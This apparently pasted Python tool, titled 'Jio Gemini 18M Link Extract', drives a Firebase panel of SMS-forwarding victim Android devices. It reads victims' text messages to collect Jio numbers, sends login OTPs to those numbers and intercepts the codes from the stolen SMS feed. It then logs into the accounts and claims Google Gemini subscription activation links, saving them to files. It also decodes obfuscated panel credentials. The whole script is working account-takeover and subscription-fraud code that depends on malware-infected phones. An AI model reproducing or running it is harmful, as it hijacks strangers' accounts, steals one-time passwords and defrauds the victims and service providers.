# Jio Gemini 18M Link Extract > Source: > Published: 2026-10-03 16:19:19+00:00 | | from __future__ import annotations | | | import base64 | | | import csv | | | import html | | | import json | | | import re | | | import sys | | | import time | | | from collections import Counter, defaultdict | | | from dataclasses import dataclass, field | | | from datetime import datetime | | | from pathlib import Path | | | from typing import Any, Callable, Dict, List, Optional, Set, Tuple | | | from urllib.parse import unquote | | | from zoneinfo import ZoneInfo | | | import requests | | | from rich.console import Console | | | from rich.panel import Panel | | | from rich.progress import BarColumn, Progress, SpinnerColumn, TextColumn, TimeElapsedColumn | | | from rich.style import Style | | | from rich.table import Table | | | from rich.text import Text | | | # Ensure stdout/stderr handles UTF-8 on Windows environments | | | if sys.stdout and hasattr(sys.stdout, "reconfigure"): | | | try: | | | sys.stdout.reconfigure(encoding="utf-8") | | | except Exception: | | | pass | | | if sys.stderr and hasattr(sys.stderr, "reconfigure"): | | | try: | | | sys.stderr.reconfigure(encoding="utf-8") | | | except Exception: | | | pass | | | # Initialize Rich console | | | console = Console() | | | # ==================== CONFIGURATION ==================== | | | FIREBASE_PANELS: List[Tuple[str, str]] = [ | | | ("https://annebellapanel.vercel.app/?s=aHR0cHM6Ly9jb3VzdGVtZXItc3VwcG9ydC0xMmU0MC1kZWZhdWx0LXJ0ZGIuZmlyZWJhc2Vpby5jb218fHxBbm5lYmVsbGE=", "Gagw"), | | | ] | | | MESSAGE_SCAN_LIMIT: int = 100 | | | OTP_TIMEOUT: int = 15 | | | POLL_INTERVAL: int = 1 | | | LINKS_FILE: Path = Path("gemini_activation_links.txt") | | | RESULTS_FILE: Path = Path("gemini_results.csv") | | | CHECK_NUMBER_URL: str = "https://www.jio.com/api/jio-recharge-service/recharge/mobility/number/{mobile}" | | | SEND_OTP_URL: str = "https://www.jio.com/api/jio-login-service/login/sendOtp" | | | VERIFY_OTP_URL: str = "https://www.jio.com/api/jio-login-service/login/validateOtp" | | | AUTH_URL: str = "https://www.jio.com/api/jio-authenticate-service/authenticate/authJsonData" | | | NAVIGATE_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/navigate/Z0241" | | | ACTIVATE_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/activate/Z0241?source=JIO" | | | GOOGLE_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/google-ai" | | | SUBMIT_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/submit" | | | GOOGLE_PAGE: str = "https://www.jio.com/selfcare/googleai/?header=no&type=Z0241&source=JIO" | | | NUMBER_PATTERNS: Tuple[re.Pattern, ...] = ( | | | re.compile(r"(?i)\bjio\s*(?:number\|no[.]?)\s*[:=-]?\s*(?:[+]91)?([6-9]\d{9})"), | | | re.compile(r"(?i)\brecharge(?:\s+now)?\s+jio\s+no[.]?\s*[:=-]?\s*(?:[+]91)?([6-9]\d{9})"), | | | ) | | | OTP_WORD_PATTERN: re.Pattern = re.compile(r"(?i)\botp\b\|one[ -]?time password") | | | OTP_PATTERN: re.Pattern = re.compile(r"(?[A-Za-z0-9_-]{50,})(?P={0,2})", | | | re.IGNORECASE, | | | ) | | | RESULT_FIELDS: Tuple[str, ...] = ( | | | "serial_number", | | | "device_id", | | | "mobile_number", | | | "status", | | | "activation_url", | | | "nepal_date", | | | "nepal_time", | | | ) | | | # Status color mappings for terminal UI display | | | STATUS_COLORS: Dict[str, str] = { | | | "activation_url_found": "bold green", | | | "already_active": "bold yellow", | | | "device_offline": "dim red", | | | "not_jio_number": "bold red", | | | "otp_send_failed": "bold red", | | | "otp_failed": "bold red", | | | "activation_api_failed": "bold red", | | | "no_activation_url": "bold orange3", | | | "api_session_invalid": "bold red", | | | } | | | # ==================== DATA MODELS ==================== | | | @dataclass | | | class OnlineDevice: | | | """Represents an online target device connected to Firebase.""" | | | device_id: str | | | base_url: str | | | firebase_key: str | | | firebase_session: requests.Session | | | data: Dict[str, Any] | | | @dataclass | | | class TargetNumber: | | | """Represents a target mobile number mapped to a specific device.""" | | | device_id: str | | | mobile_number: str | | | # ==================== HELPER FUNCTIONS ==================== | | | def parse_panel_info(url: str, default_key: str) -> Tuple[str, str]: | | | """Parse and decrypt panel connection parameters (base URL and auth key).""" | | | if "?s=" in url: | | | try: | | | s_param = url.split("?s=")[1].split("&")[0] | | | # Try XOR format (zxkaiz algorithm) | | | try: | | | b64 = s_param + "=" * (-len(s_param) % 4) | | | bin_data = base64.urlsafe_b64decode(b64) | | | key_str = "ZXKAIv1_Xk9mP2wN7qL4vR6jH3cF8yT1ZbE5sA09" | | | dec = bytearray() | | | for i in range(len(bin_data)): | | | dec.append(bin_data[i] ^ ord(key_str[i % len(key_str)])) | | | obj = json.loads(dec.decode("utf-8")) | | | if "u" in obj and "k" in obj: | | | return obj["u"].strip(), obj["k"].strip() | | | except Exception: | | | pass | | | # Fallback to legacy base64 format (firexpanel / annebellapanel) | | | b64_part = s_param + "=" * (-len(s_param) % 4) | | | decoded = base64.b64decode(b64_part).decode("utf-8") | | | if "\|\|\|" in decoded: | | | return decoded.split("\|\|\|")[0].strip(), default_key | | | return decoded.strip(), default_key | | | except Exception: | | | pass | | | return url, default_key | | | def firebase_session() -> requests.Session: | | | """Create a configured HTTP session for Firebase REST requests.""" | | | session = requests.Session() | | | session.headers.update({"Accept": "application/json", "Cache-Control": "no-cache"}) | | | return session | | | def jio_session() -> requests.Session: | | | """Create a configured HTTP session with browser headers for Jio APIs.""" | | | session = requests.Session() | | | session.headers.update({ | | | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36", | | | "Accept": "application/json, text/plain, */*", | | | "Accept-Language": "en-US,en;q=0.9", | | | "Origin": "https://www.jio.com", | | | "Referer": "https://www.jio.com/selfcare/login/", | | | }) | | | return session | | | def firebase_get( | | | session: requests.Session, | | | base_url: str, | | | key: str, | | | path: str, | | | params: Optional[Dict[str, Any]] = None, | | | ) -> Any: | | | """Execute a authenticated GET request to Firebase database endpoint.""" | | | query = {"auth": key} | | | if params: | | | query.update(params) | | | response = session.get(f"{base_url}/{path.strip('/')}.json", params=query, timeout=20) | | | response.raise_for_status() | | | return response.json() | | | def latest_messages( | | | session: requests.Session, | | | base_url: str, | | | key: str, | | | device_id: str, | | | limit: int, | | | ) -> Dict[str, Dict[str, Any]]: | | | """Retrieve latest SMS messages for a given device from Firebase.""" | | | data = firebase_get( | | | session, | | | base_url, | | | key, | | | f"messages/{device_id}", | | | {"orderBy": '"$key"', "limitToLast": max(1, limit)}, | | | ) | | | if not isinstance(data, dict): | | | return {} | | | return {name: value for name, value in data.items() if isinstance(value, dict)} | | | def normalize_mobile(value: Any) -> Optional[str]: | | | """Sanitize and extract a 10-digit Indian mobile number.""" | | | digits = re.sub(r"\D", "", str(value or "")) | | | if len(digits) > 10 and digits.startswith("91"): | | | digits = digits[-10:] | | | return digits if re.fullmatch(r"[6-9]\d{9}", digits) else None | | | def number_candidates(messages: Dict[str, Dict[str, Any]]) -> Set[str]: | | | """Extract mobile number candidates from SMS payload body and SIM metadata.""" | | | found: Set[str] = set() | | | for item in messages.values(): | | | sim_info = item.get("simInfo") | | | if isinstance(sim_info, dict): | | | mobile = normalize_mobile(sim_info.get("phoneNumber")) | | | if mobile: | | | found.add(mobile) | | | mobile = normalize_mobile(item.get("phoneNumber")) | | | if mobile: | | | found.add(mobile) | | | body = str(item.get("message", "")) | | | for pattern in NUMBER_PATTERNS: | | | found.update(pattern.findall(body)) | | | return found | | | def response_json(response: requests.Response) -> Dict[str, Any]: | | | """Safely parse JSON response body.""" | | | try: | | | data = response.json() | | | except ValueError: | | | return {} | | | return data if isinstance(data, dict) else {} | | | def response_error(response: requests.Response) -> bool: | | | """Check whether HTTP response or payload indicates an API error.""" | | | if not response.ok: | | | return True | | | data = response_json(response) | | | if data.get("errorMessage") or data.get("error"): | | | return True | | | return str(data.get("status", "")).lower() in {"failed", "failure", "error", "false"} | | | def is_jio_number(session: requests.Session, mobile: str) -> bool: | | | """Validate whether the target number is an active Jio mobility line.""" | | | try: | | | response = session.get(CHECK_NUMBER_URL.format(mobile=mobile), timeout=20) | | | except requests.RequestException: | | | return False | | | data = response_json(response) | | | return not response_error(response) and bool(data.get("primaryService")) | | | def send_otp(session: requests.Session, mobile: str) -> bool: | | | """Trigger Jio login OTP dispatch to target mobile number.""" | | | try: | | | response = session.post( | | | SEND_OTP_URL, | | | json={"mobileNumber": mobile, "loginFlowType": "MOBILE", "alternateNumber": ""}, | | | timeout=20, | | | ) | | | except requests.RequestException: | | | return False | | | return not response_error(response) | | | def verify_otp(session: requests.Session, mobile: str, otp: str) -> bool: | | | """Verify received OTP against Jio authentication endpoint.""" | | | try: | | | response = session.post(VERIFY_OTP_URL, json={"mobileNumber": mobile, "otp": otp}, timeout=20) | | | except requests.RequestException: | | | return False | | | return not response_error(response) | | | def message_order(key: str, item: Dict[str, Any]) -> int: | | | """Extract message sorting priority integer.""" | | | for value in (item.get("id"), item.get("timestamp"), key): | | | try: | | | return int(value) | | | except (TypeError, ValueError): | | | continue | | | return 0 | | | def wait_for_otp( | | | firebase: requests.Session, | | | base_url: str, | | | key: str, | | | device_id: str, | | | known_keys: Set[str], | | | jio: requests.Session, | | | mobile: str, | | | on_tick: Optional[Callable[[int], None]] = None, | | | ) -> bool: | | | """Poll Firebase for incoming OTP SMS and attempt verification within deadline.""" | | | used: Set[str] = set() | | | deadline = time.monotonic() + OTP_TIMEOUT | | | while time.monotonic() < deadline: | | | remaining = max(0, int(deadline - time.monotonic())) | | | if on_tick: | | | on_tick(remaining) | | | try: | | | messages = latest_messages(firebase, base_url, key, device_id, 20) | | | except requests.RequestException: | | | time.sleep(POLL_INTERVAL) | | | continue | | | candidates: List[Tuple[int, str, str]] = [] | | | for message_key, item in messages.items(): | | | if message_key in known_keys or message_key in used: | | | continue | | | body = str(item.get("message", "")) | | | if not OTP_WORD_PATTERN.search(body): | | | continue | | | match = OTP_PATTERN.search(body) | | | if match: | | | candidates.append((message_order(message_key, item), message_key, match.group(1))) | | | if candidates: | | | _, message_key, otp = max(candidates) | | | used.add(message_key) | | | if verify_otp(jio, mobile, otp): | | | return True | | | time.sleep(POLL_INTERVAL) | | | return False | | | def activation_url(value: str) -> str: | | | """Unescape and extract Google Gemini activation URL from redirection string.""" | | | text = html.unescape(value or "").replace("\\/", "/") | | | # Try direct pattern match first before unquoting to avoid token corruption | | | match = ACTIVATION_PATTERN.search(text) | | | if match: | | | return "https://serviceactivation.google.com/subscription/new/" + match.group("token") + match.group("padding") | | | # Fallback with iterative unquoting if url-encoded | | | for _ in range(4): | | | decoded = unquote(text) | | | if decoded == text: | | | break | | | text = decoded | | | match = ACTIVATION_PATTERN.search(text) | | | if not match: | | | return "" | | | return "https://serviceactivation.google.com/subscription/new/" + match.group("token") + match.group("padding") | | | def already_active(value: str) -> bool: | | | """Detect if API response text indicates subscription is already claimed/active.""" | | | normalized = " ".join((value or "").lower().replace("_", " ").split()) | | | return any(phrase in normalized for phrase in ( | | | "already active", "already activated", "already redeemed", | | | "already claimed", "already availed" | | | )) | | | def api_message(data: Dict[str, Any]) -> str: | | | """Extract descriptive status message from Jio API response object.""" | | | for name in ("errorMessage", "responseMessage", "responseMsg", "message"): | | | if data.get(name): | | | return str(data[name]) | | | return "" | | | def get_activation(session: requests.Session) -> Tuple[str, str]: | | | """Execute Jio OTT Google Gemini activation workflow and return status and link.""" | | | dashboard_headers = {"Accept": "*/*", "Referer": "https://www.jio.com/selfcare/dashboard/"} | | | offer_headers = {"Accept": "*/*", "Referer": GOOGLE_PAGE} | | | try: | | | auth_response = session.get(AUTH_URL, headers=dashboard_headers, timeout=20) | | | auth_data = response_json(auth_response) | | | if not auth_response.ok or str(auth_data.get("loginFlag", "")).lower() != "true": | | | return "api_session_invalid", "" | | | session.get(NAVIGATE_URL, headers=dashboard_headers, timeout=20) | | | activate_response = session.get(ACTIVATE_URL, headers=offer_headers, timeout=20) | | | activate_data = response_json(activate_response) | | | if already_active(api_message(activate_data)): | | | return "already_active", "" | | | if not activate_response.ok or str(activate_data.get("errorCode", "200")) != "200": | | | return "activation_api_failed", "" | | | google_response = session.get(GOOGLE_URL, headers=offer_headers, timeout=20) | | | google_data = response_json(google_response) | | | if already_active(api_message(google_data)): | | | return "already_active", "" | | | url = activation_url(str(google_data.get("redirectionURL", ""))) | | | if not url: | | | return "no_activation_url", "" | | | try: | | | session.get(SUBMIT_URL, headers=offer_headers, timeout=20) | | | except requests.RequestException: | | | pass | | | return "activation_url_found", url | | | except requests.RequestException: | | | return "activation_api_failed", "" | | | def save_link(url: str) -> None: | | | """Persist generated Gemini activation link to output text file.""" | | | if not url: | | | return | | | existing = set(LINKS_FILE.read_text(encoding="utf-8").splitlines()) if LINKS_FILE.exists() else set() | | | if url in existing: | | | return | | | with LINKS_FILE.open("a", encoding="utf-8") as handle: | | | handle.write(url + "\n") | | | def save_result(serial: int, device_id: str, mobile: str, status: str, url: str) -> None: | | | """Record activation execution outcome into CSV results file.""" | | | now = datetime.now(ZoneInfo("Asia/Kathmandu")) | | | exists = RESULTS_FILE.exists() and RESULTS_FILE.stat().st_size > 0 | | | with RESULTS_FILE.open("a", newline="", encoding="utf-8") as handle: | | | writer = csv.DictWriter(handle, fieldnames=RESULT_FIELDS) | | | if not exists: | | | writer.writeheader() | | | writer.writerow({ | | | "serial_number": serial, | | | "device_id": device_id, | | | "mobile_number": mobile, | | | "status": status, | | | "activation_url": url, | | | "nepal_date": now.strftime("%Y-%m-%d"), | | | "nepal_time": now.strftime("%I:%M:%S %p"), | | | }) | | | # ==================== TERMINAL UI PRESENTATION ==================== | | | def print_banner() -> None: | | | """Render simple header banner in terminal.""" | | | panel = Panel( | | | Text("JIO GEMINI SCANNER", style="bold cyan", justify="center"), | | | border_style="cyan", | | | padding=(0, 4), | | | expand=False, | | | ) | | | console.print() | | | console.print(panel, justify="center") | | | console.print() | | | def format_status_badge(status: str) -> str: | | | """Format string status into a colored rich badge.""" | | | color = STATUS_COLORS.get(status, "bold white") | | | label = status.upper().replace("_", " ") | | | return f"[{color}]{label}[/{color}]" | | | def mask_number(mobile: str) -> str: | | | """Mask target phone number for clean output presentation.""" | | | if len(mobile) == 10: | | | return f"******{mobile[-4:]}" | | | return mobile | | | # ==================== MAIN EXECUTION CONTROLLER ==================== | | | def main() -> int: | | | print_banner() | | | # ---------------- STAGE 1: PANEL DISCOVERY ---------------- | | | console.print("[bold yellow]STAGE 1[/bold yellow] \| [bold white]Connecting Panels & Online Devices[/bold white]\n") | | | panel_table = Table(show_header=True, header_style="bold blue", border_style="dim cyan", expand=True) | | | panel_table.add_column("Panel #", justify="center", style="bold yellow", width=8) | | | panel_table.add_column("Host URL", style="cyan") | | | panel_table.add_column("Status", justify="center") | | | panel_table.add_column("Online Devices", justify="right", style="bold green") | | | all_online_devices: Dict[str, OnlineDevice] = {} | | | device_messages: Dict[str, Dict[str, Dict[str, Any]]] = {} | | | with Progress( | | | SpinnerColumn("dots", style="cyan"), | | | TextColumn("[progress.description]{task.description}"), | | | BarColumn(bar_width=30, style="cyan", complete_style="bold blue"), | | | TimeElapsedColumn(), | | | console=console, | | | ) as progress: | | | task = progress.add_task("Inspecting Panels...", total=len(FIREBASE_PANELS)) | | | for panel_idx, (orig_url, orig_key) in enumerate(FIREBASE_PANELS, start=1): | | | base_url, firebase_key = parse_panel_info(orig_url, orig_key) | | | firebase = firebase_session() | | | try: | | | clients = firebase_get(firebase, base_url, firebase_key, "clients") | | | if not isinstance(clients, dict): | | | panel_table.add_row(str(panel_idx), base_url[:50], "[dim red]No Clients[/dim red]", "0") | | | progress.advance(task) | | | continue | | | online_count = 0 | | | for device_id, data in clients.items(): | | | if isinstance(data, dict) and data.get("status") is True: | | | all_online_devices[device_id] = OnlineDevice( | | | device_id=device_id, | | | base_url=base_url, | | | firebase_key=firebase_key, | | | firebase_session=firebase, | | | data=data, | | | ) | | | online_count += 1 | | | status_str = "[bold green]Connected[/bold green]" if online_count > 0 else "[yellow]No Online Devices[/yellow]" | | | panel_table.add_row(str(panel_idx), base_url[:55], status_str, str(online_count)) | | | except Exception as e: | | | panel_table.add_row(str(panel_idx), base_url[:55], f"[bold red]Error: {type(e).__name__}[/bold red]", "0") | | | progress.advance(task) | | | console.print(panel_table) | | | console.print(f"\n[bold green][+] Total Online Devices Identified:[/bold green] [bold white]{len(all_online_devices)}[/bold white]\n") | | | if not all_online_devices: | | | console.print(Panel("[bold red]No online devices found across configured Firebase panels.[/bold red]", border_style="red")) | | | return 1 | | | # ---------------- STAGE 2: MESSAGE SCANNING & TARGET MAPPING ---------------- | | | console.print("[bold yellow]STAGE 2[/bold yellow] \| [bold white]Scanning Messages & Extracting Targets[/bold white]\n") | | | mappings: Dict[str, Set[str]] = defaultdict(set) | | | total_devices = len(all_online_devices) | | | with Progress( | | | SpinnerColumn("bouncingBar", style="magenta"), | | | TextColumn("[progress.description]{task.description}"), | | | BarColumn(bar_width=40, style="magenta", complete_style="bold green"), | | | TextColumn("[bold cyan]{task.completed}/{task.total}[/bold cyan] devices"), | | | console=console, | | | ) as progress: | | | scan_task = progress.add_task("Scanning Device SMS Archives...", total=total_devices) | | | for device_id, info in all_online_devices.items(): | | | try: | | | messages = latest_messages( | | | info.firebase_session, | | | info.base_url, | | | info.firebase_key, | | | device_id, | | | MESSAGE_SCAN_LIMIT, | | | ) | | | device_messages[device_id] = messages | | | for mobile in number_candidates(messages): | | | mappings[mobile].add(device_id) | | | except Exception: | | | device_messages[device_id] = {} | | | progress.advance(scan_task) | | | targets: List[TargetNumber] = [] | | | for mobile, devices in sorted(mappings.items()): | | | if devices: | | | targets.append(TargetNumber(device_id=sorted(devices)[0], mobile_number=mobile)) | | | console.print(f"\n[bold green][+] Unique Target Mobile Numbers Discovered:[/bold green] [bold white]{len(targets)}[/bold white]\n") | | | if not targets: | | | console.print(Panel("[bold red]No candidate mobile numbers extracted from device messages.[/bold red]", border_style="red")) | | | return 1 | | | # ---------------- STAGE 3: OTP & ACTIVATION WORKFLOW ---------------- | | | console.print("[bold yellow]STAGE 3[/bold yellow] \| [bold white]OTP Verification & Activation[/bold white]\n") | | | statuses: Counter[str] = Counter() | | | act_table = Table(show_header=True, header_style="bold magenta", border_style="dim blue", expand=True) | | | act_table.add_column("#", justify="center", style="bold yellow", width=5) | | | act_table.add_column("Device ID", style="dim white", width=18) | | | act_table.add_column("Target Number", justify="center", style="bold cyan", width=15) | | | act_table.add_column("Status Outcome", justify="center", width=22) | | | act_table.add_column("Activation Link / Output", style="green") | | | with Progress( | | | SpinnerColumn("dots", style="bold cyan"), | | | TextColumn("[bold cyan][{task.completed}/{task.total}][/bold cyan]"), | | | BarColumn(bar_width=30, style="magenta", complete_style="bold green"), | | | TextColumn("[bold white]{task.description}[/bold white]"), | | | TimeElapsedColumn(), | | | console=console, | | | ) as progress: | | | act_task = progress.add_task("Initializing Target Queue...", total=len(targets)) | | | for serial, target in enumerate(targets, start=1): | | | device_id = target.device_id | | | mobile = target.mobile_number | | | masked = mask_number(mobile) | | | info = all_online_devices.get(device_id) | | | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Checking device...") | | | if not info or not isinstance(info.data, dict) or info.data.get("status") is not True: | | | status, url = "device_offline", "" | | | else: | | | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Validating Jio line...") | | | jio = jio_session() | | | if not is_jio_number(jio, mobile): | | | status, url = "not_jio_number", "" | | | else: | | | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Sending Jio OTP...") | | | known_keys = set(device_messages.get(device_id, {})) | | | if not send_otp(jio, mobile): | | | status, url = "otp_send_failed", "" | | | else: | | | def update_otp_status(rem_sec: int) -> None: | | | progress.update( | | | act_task, | | | description=f"Target {serial}/{len(targets)} ({masked}): Polling OTP SMS ({rem_sec}s remaining)...", | | | ) | | | if not wait_for_otp( | | | info.firebase_session, | | | info.base_url, | | | info.firebase_key, | | | device_id, | | | known_keys, | | | jio, | | | mobile, | | | on_tick=update_otp_status, | | | ): | | | status, url = "otp_failed", "" | | | else: | | | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Claiming Gemini subscription...") | | | status, url = get_activation(jio) | | | statuses[status] += 1 | | | save_link(url) | | | save_result(serial, device_id, mobile, status, url) | | | badge = format_status_badge(status) | | | if url: | | | link_display = Text("OPEN LINK", style=f"bold underline green link {url}") | | | else: | | | link_display = Text("-", style="dim") | | | act_table.add_row(str(serial), device_id[:16], masked, badge, link_display) | | | if url: | | | link_text = Text() | | | link_text.append(f"\n[+] LINK #{serial} ({masked}): ", style="bold green") | | | link_text.append(url, style=f"bold underline cyan link {url}") | | | console.print(link_text, soft_wrap=True) | | | progress.advance(act_task) | | | console.print(act_table) | | | # ---------------- SUMMARY DASHBOARD ---------------- | | | console.print("\n[bold yellow]SUMMARY[/bold yellow]\n") | | | summary_table = Table(show_header=True, header_style="bold green", border_style="bold green", expand=False) | | | summary_table.add_column("Status Metric", style="bold white", width=25) | | | summary_table.add_column("Count", justify="center", style="bold cyan", width=10) | | | summary_table.add_column("Badge", justify="center", width=22) | | | for status_key, count in sorted(statuses.items()): | | | summary_table.add_row(status_key.replace("_", " ").title(), str(count), format_status_badge(status_key)) | | | console.print(summary_table) | | | file_info = Text() | | | file_info.append("Saved Outputs:\n", style="bold cyan") | | | file_info.append(f" * Activation Links : {LINKS_FILE.resolve()}\n", style="white") | | | file_info.append(f" * Detailed Results : {RESULTS_FILE.resolve()}", style="white") | | | console.print(Panel(file_info, title="[bold green]Complete[/bold green]", border_style="green")) | | | return 0 | | | if __name__ == "__main__": | | | try: | | | sys.exit(main()) | | | except KeyboardInterrupt: | | | console.print("\n[bold red]Execution interrupted by user.[/bold red]") | | | sys.exit(130) |